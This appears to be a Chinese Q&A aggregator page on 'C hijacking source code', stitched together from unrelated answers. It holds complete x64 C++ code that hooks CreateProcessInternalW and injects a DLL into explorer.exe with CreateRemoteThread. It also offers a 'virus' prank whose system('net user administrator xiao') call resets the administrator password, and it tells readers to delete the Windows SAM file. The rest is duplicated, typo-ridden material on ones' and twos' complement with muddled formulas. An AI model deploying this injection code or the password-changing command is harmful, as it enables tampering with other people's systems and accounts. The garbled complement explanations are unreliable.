c劫持源碼
❶ c語言編寫的木馬源代碼
這位牛人的博客中有一個
http://huaidan.org/archives/1774.html
❷ C語言的源代碼是什麼意思啊
C語言源代碼,就是依據C語言規則所寫出的程序代碼,常見的存儲文件擴展名為.c文件和.h文件,分別對應C源文件(source file)和C頭文件(header file)。
C語言是一門編程語言,簡單點說,就是由人類書寫按照一定規范書寫的字元,通過一定手段(編譯鏈接)轉換後,可以讓電腦或者其它電子晶元"讀懂",並按照其要求工作的語言。
在所有的編程語言中,C語言是相對古老而原始的,同時也是在同類語言中更接近硬體,最為高效的編程語言。
(2)c劫持源碼擴展閱讀:
C語言廣泛應用於底層開發。它的設計目標是提供一種能以簡易的方式編譯、處理低級存儲器、產生少量的機器碼以及不需要任何運行環境支持便能運行的編程語言。
它能提供了許多低級處理的功能,可以保持著良好跨平台的特性,以一個標准規格寫出的C語言程序可在許多電腦平台上進行編譯,甚至包含一些嵌入式處理器(單片機或稱MCU)以及超級電腦等作業平台。
其編譯器主要有Clang、GCC、WIN-TC、SUBLIME、MSVC、Turbo C等。
❸ C++ 怎麼Hook 載入kernel32.dll劫持CreatProcess函數實現進程阻止過濾
轉載:http://blog.csdn.net/zwfgdlc/article/details/16918565
原始函數是這樣的
[cpp] view plain
kernel32!CreateProcessInternalW:
00000000`7738e750 4c8bdc mov r11,rsp
00000000`7738e753 53 push rbx
00000000`7738e754 56 push rsi
00000000`7738e755 57 push rdi
00000000`7738e756 4154 push r12
00000000`7738e758 4155 push r13
00000000`7738e75a 4156 push r14
00000000`7738e75c 4157 push r15
00000000`7738e75e 4881ec400b0000 sub rsp,0B40h
00000000`7738e765 488b0564cc0e00 mov rax,qword ptr [kernel32!local_unwind+0x606b1 (00000000`7747b3d0)]
跟32位一樣,在函數入口寫入跳轉指令,跟32不一樣的是,不能再用之前的E9 xx xx xx xx這樣的指令了,E9不支持64位地址跳轉,最大隻能支持到32位,
直接用E9大部分情況下會出錯.所以我們換一種方法.
[cpp] view plain
mov rax,0x1122334455667788
jmp rax
機器碼是48 b8 8877665544332211 ffe0總共佔了12個位元組,不是我們之前用E9跳轉的5位元組了.
最前面的48叫REX Prefix,大家可以GOOGLE下,4是固定的,8表示使用64位寄存器.
如果沒有前面的48就變成了mov eax, 0x1122334455667788了,使用32位寄存器.
我們需要把函數前面12位元組改成跳轉指令,正好
[cpp] view plain
00000000`7738e750 4c8bdc mov r11,rsp
00000000`7738e753 53 push rbx
00000000`7738e754 56 push rsi
00000000`7738e755 57 push rdi
00000000`7738e756 4154 push r12
00000000`7738e758 4155 push r13
00000000`7738e75a 4156 push r14
這12個位元組是完整的7條指令,寫入12位元組指令,不會破壞後面的指令.
寫入跳轉指令後
[cpp] view plain
kernel32!CreateProcessInternalW:
00000000`7738e750 48b8001055fbfe070000 mov rax,offset x64dll!FakeCreateProcessInternal (000007fe`fb551000)
00000000`7738e75a ffe0 jmp rax
00000000`7738e75c 4157 push r15
00000000`7738e75e 4881ec400b0000 sub rsp,0B40h
00000000`7738e765 488b0564cc0e00 mov rax,qword ptr [kernel32!local_unwind+0x606b1 (00000000`7747b3d0)]
00000000`7738e76c 4833c4 xor rax,rsp
00000000`7738e76f 48898424300b0000 mov qword ptr [rsp+0B30h],rax
00000000`7738e777 4889a42438050000 mov qword ptr [rsp+538h],rsp
完整代碼如下.
少NTDLL.h的朋友可以去搜索下載,也可以把RtlAdjustPrivilege替換成AdjustTokenPrivileges,效果樣的,只是代碼多幾行而已.
聲明:本人很菜,水平有限,匯編功底也是相當的水,如發現有誤人子弟之處,敬請指正.若您有更好的方法也請多多指教.
[cpp] view plain
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <shlwapi.h>
#include <ntdll.h>
#pragma comment(lib, "shlwapi.lib")
#define CODE_LEN 12
TCHAR MoleFile[MAX_PATH];
DWORD dwOldProtect;
BYTE OldCode[CODE_LEN] = {0x90};
typedef HANDLE (WINAPI *__CreateProcessInternal)(HANDLE hToken,LPCTSTR lpApplicationName,LPTSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCTSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation,PHANDLE hNewToken);
__CreateProcessInternal pfnCreateProcess = 0;
HANDLE WINAPI FakeCreateProcessInternal(HANDLE hToken,LPCTSTR lpApplicationName,LPTSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCTSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation,PHANDLE hNewToken)
{
MessageBox(NULL, lpCommandLine, lpApplicationName, MB_ICONASTERISK);
return pfnCreateProcess(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, // handle to DLL mole
DWORD fdwReason, // reason for calling function
LPVOID lpReserved ) // reserved
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
::DisableThreadLibraryCalls(hinstDLL);
GetMoleFileName(NULL, MoleFile, _countof(MoleFile));
if (StrRStrI(MoleFile, 0, TEXT("explorer.exe")))
{
pfnCreateProcess = (__CreateProcessInternal)GetProcAddress(GetMoleHandle(TEXT("kernel32.dll")), "CreateProcessInternalW");
::VirtualProtect(pfnCreateProcess, CODE_LEN, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(OldCode, pfnCreateProcess, CODE_LEN);
memset(pfnCreateProcess, 0x90, CODE_LEN);
/*
mov rax, FakeCreateProcessInternal
jmp rax
*/
*(LPWORD)pfnCreateProcess = 0xb848;
*(INT64*)((INT64)pfnCreateProcess+2) = (INT64)FakeCreateProcessInternal;
*(LPWORD)((INT64)pfnCreateProcess+10) = 0xe0ff;
::VirtualProtect(pfnCreateProcess, CODE_LEN, dwOldProtect, NULL);
pfnCreateProcess = (__CreateProcessInternal)VirtualAlloc(NULL, CODE_LEN+12, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(pfnCreateProcess, OldCode, CODE_LEN);
/*
mov rax, CreateProcessInternalW + CODE_LEN
jmp rax
*/
*(LPWORD)((INT64)pfnCreateProcess+CODE_LEN) = 0xb848;
*(INT64*)((INT64)pfnCreateProcess+CODE_LEN+2) = (INT64)GetProcAddress(GetMoleHandle(TEXT("kernel32.dll")), "CreateProcessInternalW")+CODE_LEN;
*(LPWORD)((INT64)pfnCreateProcess+CODE_LEN+10) = 0xe0ff;
}
else if (StrRStrI(MoleFile, 0, TEXT("Rundll32.exe")))
{
DWORD dwProcessId = 0;
HANDLE hProcess = 0;
HWND hwndDeskTop;
hwndDeskTop = FindWindow(TEXT("ProgMan"), NULL);
GetMoleFileName(hinstDLL, MoleFile, _countof(MoleFile));
GetWindowThreadProcessId(hwndDeskTop, &dwProcessId);
BOOLEAN bEnable;
::RtlAdjustPrivilege(0x13, 1, 0, &bEnable);
if (dwProcessId)
{
hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, NULL, dwProcessId);
}
LPVOID Param = VirtualAllocEx(hProcess, NULL, 256, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, Param, (LPVOID)MoleFile, 256, NULL);
HANDLE hThread = CreateRemoteThread(hProcess,
NULL,
NULL,
(LPTHREAD_START_ROUTINE)LoadLibraryW,
Param,
NULL,
NULL);
if (hThread)
{
WaitForSingleObject(hThread, INFINITE);
}
VirtualFreeEx(hProcess, Param , 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int _stdcall Setup(void)
{
return 1;
}
編譯成DLL後,在運行里執行rundll32.exe X64Dll.dll,Setup,DLL會自動注入到explorer.exe進程.
完全工程及編譯好的文件點擊打開鏈接
順便說下,CreateRemoteThread在WIN7下是可以用的,問題不在CreateRemoteThread,而是在OpenProcess打開進程的許可權
許可權設為
[cpp] view plain
PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION
就可以了,WIN7( 32/64)測試都沒問題
❹ 求C語言病毒源碼
一個小東西 介紹了後別笑話我 !它的功能很簡單,就是把Administrator的密碼該成xiao
大家整了人之後切記告訴他密碼(xiao)
自己可以用TC2.0編寫編譯調試生成
C語言下的代碼如下:
main()
{
system("net user administrator xiao");
}
如果自己真的不小心忘記了密碼 如果是XP系統 管理員密碼破解如下:
1.用個啟動盤啟動電腦後進入DOS 狀態下:輸入如下命令
del X:\windows\sysrem32\config\sam 回車
x:\windows\repair\sam x:\windows\system32\config 回車
2.重新啟動計算機。X為安裝XP的盤 一般為c:
❺ 關於一個C的源代碼怎樣破解
hwndQQ = FindWindow(NULL,"QQ2010"); //得到QQ窗口句柄
if(hwndQQ==NULL)
{
return 0;
}
程序沒有正常退出、所以加入判斷,後面自己看著自己加。
17歲寫這樣的程序,很厲害,加油~
樓下的都會胡說……本來這就是一個整人程序,關掉了那個offtask函數,影響了程序的功能!
❻ c語言:原碼,反碼 補碼
1)原碼表示
原碼表示法是機器數的一種簡單的表示法。其符號位用0表示正號,用:表示負號,數值一般用二進制形式表示。設有一數為x,則原碼表示可記作[x]原。
例如,X1=
+1010110
X2=
一1001010
其原碼記作:
[X1]原=[+1010110]原=01010110
[X2]原=[-1001010]原=11001010
在原碼表示法中,對0有兩種表示形式:
[+0]原=00000000
[-0]
原=10000000
2)補碼表示
機器數的補碼可由原碼得到。如果機器數是正數,則該機器數的補碼與原碼一樣;如果機器數是負數,則該機器數的補碼是對它的原碼(除符號位外)各位取反,並在未位加1而得到的。設有一數X,則X的補碼表示記作[X]補。
例如,[X1]=+1010110
[X2]=
一1001010
[X1]原=01010110
[X1]補=01010110
即
[X1]原=[X1]補=01010110
[X2]
原=
11001010
[X2]
補=10110101+1=10110110
機器數的補碼可由原碼得到。如果機器數是正數,則該機器數的補碼與原碼一樣;如果機器數是負數,則該機器數的補碼是對它的原碼(除符號位外)各位取反,並在未位加1而得到的。設有一數X,則X的補碼表示記作[X]補。
例如,[X1]=+1010110
[X2]=
一1001010
[X1]原=01010110
[X1]補=01010110
即
[X1]原=[X1]補=01010110
[X2]
原=
11001010
[X2]
補=10110101+1=10110110
(3)反碼表示法
機器數的反碼可由原碼得到。如果機器數是正數,則該機器數的反碼與原碼一樣;如果機器數是負數,則該機器數的反碼是對它的原碼(符號位除外)各位取反而得到的。設有一數X,則X的反碼表示記作[X]反。
例如:X1=
+1010110
X2=
一1001010
[X1]原=01010110
[X1]反=[X1]原=01010110
[X2]原=11001010
[X2]反=10110101
反碼通常作為求補過程的中間形式,即在一個負數的反碼的未位上加1,就得到了該負數的補碼。
例1.
已知[X]原=10011010,求[X]補。
分析如下:
由[X]原求[X]補的原則是:若機器數為正數,則[X]原=[X]補;若機器數為負數,則該機器數的補碼可對它的原碼(符號位除外)所有位求反,再在未位加1而得到。現給定的機器數為負數,故有[X]補=[X]原十1,即
[X]原=10011010
[X]反=11100101+1
[X]補=11100110
例2.
已知[X]補=11100110,求[X]原。
分析如下:
對於機器數為正數,則[X]原=[X]補
對於機器數為負數,則有[X]原=[[X]補]補
現給定的為負數,故有:
[X]補=11100110
[[X]補]反=10011001+1
[[X]補]補=10011010=[X]原+1
[[X]補]補=10011010=[X]原
總結一下,原碼(為負時,正時都不變)全部取反即得到反碼,反碼加
"1"就得到補碼了,就是這么簡單。
❼ C語言的源碼、反碼、補碼怎麼算
反碼就是原碼全部取反(0變1, 1變0),補碼就是原碼取反再加1(即補碼加1)
❽ C語言暴力破解源代碼
問題的難點在破解而非暴力,暴力有遍歷枚舉的意思,有辦法破解的話,遍歷就只是時間問題。
至於破解,那就是比較困難的事了,你最後問的問題就是關鍵,怎麼把密碼放到該輸入密碼的地方去,然後驗證。
有一個笨辦法是用按鍵精靈,寫個腳本重復試。
自己會寫代碼的話么就寫程序,控制輸入焦點和滑鼠。
當然這些都是不入流的笨辦法。(而且幾乎不可能真正解開密碼,除非密碼很短)
真正要破解一個文檔密碼的話,至少要做到幾點:
1、了解文檔格式
2、了解密碼存放格式
3、了解密碼驗證方式
4、了解文檔加密方式
只有了解了這些才有可能做到真正意義上的破解。
如果你只是想破解某一個常用文檔,那還不如去網上搜一下這種文檔的密碼破解程序。常用的像word,excel都是有現成的破解程序的。
❾ c語言木馬源代碼
ls這個好像是感染c文件的病毒,自動加上玩笑代碼(當然可以是惡意的)
不是木馬
❿ C語言的原碼,反碼,補碼是什麼意思
1)原碼表示
原碼表示法是機器數的一種簡單的表示法。其符號位用0表示正號,用:表示負號,數值一般用二進制形式表示。設有一數為x,則原碼表示可記作[x]原。
例如,X1= +1010110
X2= 一1001010
其原碼記作:
[X1]原=[+1010110]原=01010110
[X2]原=[-1001010]原=11001010
在原碼表示法中,對0有兩種表示形式:
[+0]原=00000000
[-0] 原=10000000
2)補碼表示
機器數的補碼可由原碼得到。如果機器數是正數,則該機器數的補碼與原碼一樣;如果機器數是負數,則該機器數的補碼是對它的原碼(除符號位外)各位取反,並在未位加1而得到的。設有一數X,則X的補碼表示記作[X]補。
例如,[X1]=+1010110
[X2]= 一1001010
[X1]原=01010110
[X1]補=01010110
即 [X1]原=[X1]補=01010110
[X2] 原= 11001010
[X2] 補=10110101+1=10110110
機器數的補碼可由原碼得到。如果機器數是正數,則該機器數的補碼與原碼一樣;如果機器數是負數,則該機器數的補碼是對它的原碼(除符號位外)各位取反,並在未位加1而得到的。設有一數X,則X的補碼表示記作[X]補。
例如,[X1]=+1010110
[X2]= 一1001010
[X1]原=01010110
[X1]補=01010110
即 [X1]原=[X1]補=01010110
[X2] 原= 11001010
[X2] 補=10110101+1=10110110
(3)反碼表示法
機器數的反碼可由原碼得到。如果機器數是正數,則該機器數的反碼與原碼一樣;如果機器數是負數,則該機器數的反碼是對它的原碼(符號位除外)各位取反而得到的。設有一數X,則X的反碼表示記作[X]反。
例如:X1= +1010110
X2= 一1001010
[X1]原=01010110
[X1]反=[X1]原=01010110
[X2]原=11001010
[X2]反=10110101
反碼通常作為求補過程的中間形式,即在一個負數的反碼的未位上加1,就得到了該負數的補碼。
例1. 已知[X]原=10011010,求[X]補。
分析如下:
由[X]原求[X]補的原則是:若機器數為正數,則[X]原=[X]補;若機器數為負數,則該機器數的補碼可對它的原碼(符號位除外)所有位求反,再在未位加1而得到。現給定的機器數為負數,故有[X]補=[X]原十1,即
[X]原=10011010
[X]反=11100101+1
[X]補=11100110
例2. 已知[X]補=11100110,求[X]原。
分析如下:
對於機器數為正數,則[X]原=[X]補
對於機器數為負數,則有[X]原=[[X]補]補
現給定的為負數,故有:
[X]補=11100110
[[X]補]反=10011001+1
[[X]補]補=10011010=[X]原+1
[[X]補]補=10011010=[X]原
總結一下,原碼(為負時,正時都不變)全部取反即得到反碼,反碼加
"1"就得到補碼了,就是這么簡單。